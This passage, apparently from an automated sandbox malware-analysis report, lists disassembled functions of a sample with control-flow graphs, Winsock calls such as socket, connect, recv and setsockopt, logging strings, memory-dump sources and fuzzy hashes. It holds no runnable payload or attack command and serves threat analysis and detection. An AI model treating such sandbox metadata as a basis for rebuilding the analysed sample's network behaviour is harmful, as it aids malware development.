                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1600 539290-5392ed call 5076a0 1603 5393c3-5393ce 1600->1603 1604 5392f3-5392fb 1600->1604 1611 5393d0-5393e1 1603->1611 1612 5393e5-539427 call 51d090 call 544f40 1603->1612 1605 539301-539333 call 51d8c0 call 51d9a0 1604->1605 1606 5393aa-5393af 1604->1606 1624 5393a7 1605->1624 1625 539335-539364 WSAIoctl 1605->1625 1609 539456-539470 1606->1609 1610 5393b5-5393bc 1606->1610 1614 539429-539431 1610->1614 1615 5393be 1610->1615 1611->1610 1616 5393e3 1611->1616 1612->1609 1612->1614 1619 539433-539437 1614->1619 1620 539439-53943f 1614->1620 1615->1609 1616->1609 1619->1609 1619->1620 1620->1609 1623 539441-539453 call 5450a0 1620->1623 1623->1609 1624->1606 1628 539366-53936f 1625->1628 1629 53939b-5393a4 1625->1629 1628->1629 1632 539371-539390 setsockopt 1628->1632 1629->1624 1632->1629 1633 539392-539395 1632->1633 1633->1629
                                                          APIs
                                                          • WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 0053935D
                                                          • setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004,?,00000004,?,00000000,00000000), ref: 00539388
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: Ioctlsetsockopt
                                                          • String ID: Send failure: %s$cf-socket.c$send(len=%zu) -> %d, err=%d
                                                          • API String ID: 1903391676-2691795271
                                                          • Opcode ID: 2fdee8b265f0531d7d841feec6e31af38cd934cf6d039f18dd79fc085fcfec17
                                                          • Instruction ID: 5afe8ed4d3c8f8bbce7634f3e52bf6df196acb293f03adf0de08581eff0513d9
                                                          • Opcode Fuzzy Hash: 2fdee8b265f0531d7d841feec6e31af38cd934cf6d039f18dd79fc085fcfec17
                                                          • Instruction Fuzzy Hash: FB51E7B0600306AFDB11DF24C885FAABBA5FF84314F148929FD489B292E7B1E951CB51
                                                          Function 00507770 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73networkCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1634 507770-50778e 1635 507790-507797 1634->1635 1636 5077b6-5077c2 recv 1634->1636 1635->1636 1637 507799-5077a1 1635->1637 1638 5077c4-5077d9 call 5072a0 1636->1638 1639 50782e-507832 1636->1639 1640 5077a3-5077b4 1637->1640 1641 5077db-507829 call 5072a0 call 50cb20 call 888c50 1637->1641 1638->1639 1640->1638 1641->1639
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: recv
                                                          • String ID: LIMIT %s:%d %s reached memlimit$RECV %s:%d recv(%lu) = %ld$recv
                                                          • API String ID: 1507349165-640788491
                                                          • Opcode ID: 27b0274168978c416c58f7069ea5dd2ac91eb5bc5bbe0b0435928abf9ad254ff
                                                          • Instruction ID: 143849641902bb2cc0a8d527456d86ee24952ed69f358a4a8f604a8d3eb08eeb
                                                          • Opcode Fuzzy Hash: 27b0274168978c416c58f7069ea5dd2ac91eb5bc5bbe0b0435928abf9ad254ff
                                                          • Instruction Fuzzy Hash: 1E112BB4D193497BE120DB159C4AF2F7F9CFBDAB58F4A0A18FC0453382D660AC0182B1
                                                          Function 005075E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66networkCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1653 5075e0-5075ed 1654 507607-507629 socket 1653->1654 1655 5075ef-5075f6 1653->1655 1656 50762b-50763c call 5072a0 1654->1656 1657 50763f-507642 1654->1657 1655->1654 1658 5075f8-5075ff 1655->1658 1656->1657 1660 507601-507602 1658->1660 1661 507643-507699 call 5072a0 call 50cb20 call 888c50 1658->1661 1660->1654
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: socket
                                                          • String ID: FD %s:%d socket() = %d$LIMIT %s:%d %s reached memlimit$socket
                                                          • API String ID: 98920635-842387772
                                                          • Opcode ID: 2f4f207f98e7468f3579a057ea2cf5d06c9d25bc1eb605a462e9232d55c4be4d
                                                          • Instruction ID: eb8692a8ee8519fe7c68a476bed3683c15da4c4ab9b034ab81ba2ee3d3cf607a
                                                          • Opcode Fuzzy Hash: 2f4f207f98e7468f3579a057ea2cf5d06c9d25bc1eb605a462e9232d55c4be4d
                                                          • Instruction Fuzzy Hash: D3116F71E5025277D6219B296C5AF4F3F88FFD6734F490A14F810972D2D32298A5C3D1
                                                          Function 00888E90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1838 888e90-888eb8 _open 1839 888eba-888ec7 1838->1839 1840 888eff-888f2c call 889f70 1838->1840 1842 888ec9 1839->1842 1843 888ef3-888efa call 888d20 1839->1843 1850 888f39-888f51 call 888ca8 1840->1850 1844 888ecb-888ecd 1842->1844 1845 888ee2-888ef1 1842->1845 1843->1840 1848 9958e0-9958f7 1844->1848 1849 888ed3-888ed6 1844->1849 1845->1842 1845->1843 1851 9958f9 1848->1851 1852 9958fa-995921 1848->1852 1849->1845 1853 888ed8 1849->1853 1857 888f30-888f37 1850->1857 1858 888f53-888f5e call 888cc0 1850->1858 1856 995929-99592f 1852->1856 1853->1845 1859 995949-99596b 1856->1859 1860 995931-99593f 1856->1860 1857->1850 1857->1858 1858->1839 1865 99596d-995974 1859->1865 1866 995976-99598b 1859->1866 1862 995945-995948 1860->1862 1865->1866 1867 99598d-9959a2 1865->1867 1866->1860 1867->1862
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: _open
                                                          • String ID: terminated$@
                                                          • API String ID: 4183159743-3016906910
                                                          • Opcode ID: 0668b6e2773fa26c6db2577d4d72c5b218a3bbc58ee935f894dfc89b6100f317
                                                          • Instruction ID: 09d6a8057db45f02792291ad463d67b5ed6e99fe95b907f9192766546cd450a1
                                                          • Opcode Fuzzy Hash: 0668b6e2773fa26c6db2577d4d72c5b218a3bbc58ee935f894dfc89b6100f317
                                                          • Instruction Fuzzy Hash: 4C4124B0918305DFDB10EF79C84466EBAE5FF48314F858A29E898D7240EB38D905CB56
                                                          Function 0053A150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1870 53a150-53a159 1871 53a250 1870->1871 1872 53a15f-53a17b 1870->1872 1873 53a181-53a1ce getsockname 1872->1873 1874 53a249-53a24f 1872->1874 1875 53a1d0-53a1f5 call 51d090 1873->1875 1876 53a1f7-53a214 call 53ef30 1873->1876 1874->1871 1884 53a240-53a246 call 544f40 1875->1884 1876->1874 1880 53a216-53a23b call 51d090 1876->1880 1880->1884 1884->1874
                                                          APIs
                                                          • getsockname.WS2_32(?,?,00000080), ref: 0053A1C6
                                                          Strings
                                                          • getsockname() failed with errno %d: %s, xrefs: 0053A1F0
                                                          • ssloc inet_ntop() failed with errno %d: %s, xrefs: 0053A23B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: getsockname
                                                          • String ID: getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s
                                                          • API String ID: 3358416759-2605427207
                                                          • Opcode ID: 7f2d94cb20a7ea533234cb96d70f903e14c8b4f0117cff394bf5d735af0c389c
                                                          • Instruction ID: f0d6ea14a33b387bf83f1ff0f4ab95ee7ae842f44073ccbf39974ead12209e51
                                                          • Opcode Fuzzy Hash: 7f2d94cb20a7ea533234cb96d70f903e14c8b4f0117cff394bf5d735af0c389c
                                                          • Instruction Fuzzy Hash: 2921D831848680BAF7269B29DC46FE777BCFF91328F040614F99853151FA32698586E2
                                                          Function 0051D5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46networkCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1890 51d5e0-51d5ee 1891 51d5f0-51d604 call 51d690 1890->1891 1892 51d652-51d662 WSAStartup 1890->1892 1898 51d606-51d614 1891->1898 1899 51d61b-51d651 call 527620 1891->1899 1893 51d670-51d676 1892->1893 1894 51d664-51d66f 1892->1894 1893->1891 1896 51d67c-51d68d 1893->1896 1898->1899 1904 51d616 1898->1904 1904->1899
                                                          APIs
                                                          • WSAStartup.WS2_32(00000202), ref: 0051D65A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: Startup
                                                          • String ID: if_nametoindex$iphlpapi.dll
                                                          • API String ID: 724789610-3097795196
                                                          • Opcode ID: 51a9c689374198305387bca20dcce3de7f615b77dc63178749bea32001c59874
                                                          • Instruction ID: fb9970085e479704f28c0727be816f0896c33cb9a80c3bc256082c1d4807e7d4
                                                          • Opcode Fuzzy Hash: 51a9c689374198305387bca20dcce3de7f615b77dc63178749bea32001c59874
                                                          • Instruction Fuzzy Hash: B4014ED0D4038116F7317B389D1B7AA39A07F61384F491879DC49951E7F669C5C9C363
                                                          Function 005CAA30 Relevance: 4.9, APIs: 3, Instructions: 377networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • socket.WS2_32(FFFFFFFF,?,00000000), ref: 005CAB9B
                                                          • ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 005CABE4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: ioctlsocketsocket
                                                          • String ID:
                                                          • API String ID: 416004797-0
                                                          • Opcode ID: 5625a7f08d6456ad3920748ced4c73c4ef5f5acc2cc166cea807d1a3195be90b
                                                          • Instruction ID: 34bb1e0b83613ea21e2d0dfa0dd6f74cfbf0c2ef42b5ebdc4e6377aba0acf657
                                                          • Opcode Fuzzy Hash: 5625a7f08d6456ad3920748ced4c73c4ef5f5acc2cc166cea807d1a3195be90b
                                                          • Instruction Fuzzy Hash: F7E1AE706043069FEB208FA4C885F6A7FA5BF85318F144A2CF9998B291E775D944CB92
                                                          Function 005078B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: closesocket
                                                          • String ID: FD %s:%d sclose(%d)
                                                          • API String ID: 2781271927-3116021458
                                                          • Opcode ID: b361e6855268720f277433c4224d274704b75a7b486967ea4a888e2697807f64
                                                          • Instruction ID: d8118a75ad6440a8cc5e43eadc845c96b62437485f0849c5d02aa2cdb1aab2fe
                                                          • Opcode Fuzzy Hash: b361e6855268720f277433c4224d274704b75a7b486967ea4a888e2697807f64
                                                          • Instruction Fuzzy Hash: C6D05B3290552177C52155586C45C5F7B64BEC6F60B060958F44077254D2209D11C3F2
                                                          Function 005CB060 Relevance: 3.0, APIs: 2, Instructions: 48networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • connect.WS2_32(-00000028,-00000028,-00000028,-00000001,-00000028,?,-00000028,005CB29E,?,00000000,?,?), ref: 005CB0BA
                                                          • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,00000000,0000000B,?,?,005B3C41,00000000), ref: 005CB0C1
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastconnect
                                                          • String ID:
                                                          • API String ID: 374722065-0
                                                          • Opcode ID: c44e1731806ca4766277359f27753d3b9ab5d8ce45afa0416cad3e9d83e7cb0d
                                                          • Instruction ID: 1aae587813485f1c444c3ece6e6212550af48abf4cd66ef76eb92ffa4474a66e
                                                          • Opcode Fuzzy Hash: c44e1731806ca4766277359f27753d3b9ab5d8ce45afa0416cad3e9d83e7cb0d
                                                          • Instruction Fuzzy Hash: 7501D8362042009FEA205AA8CC88F6BBB99FF89364F140B58F978A71E1D726ED508751
                                                          Function 005B4950 Relevance: 1.7, APIs: 1, Instructions: 170networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • gethostname.WS2_32(00000000,00000040), ref: 005B4AA5
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
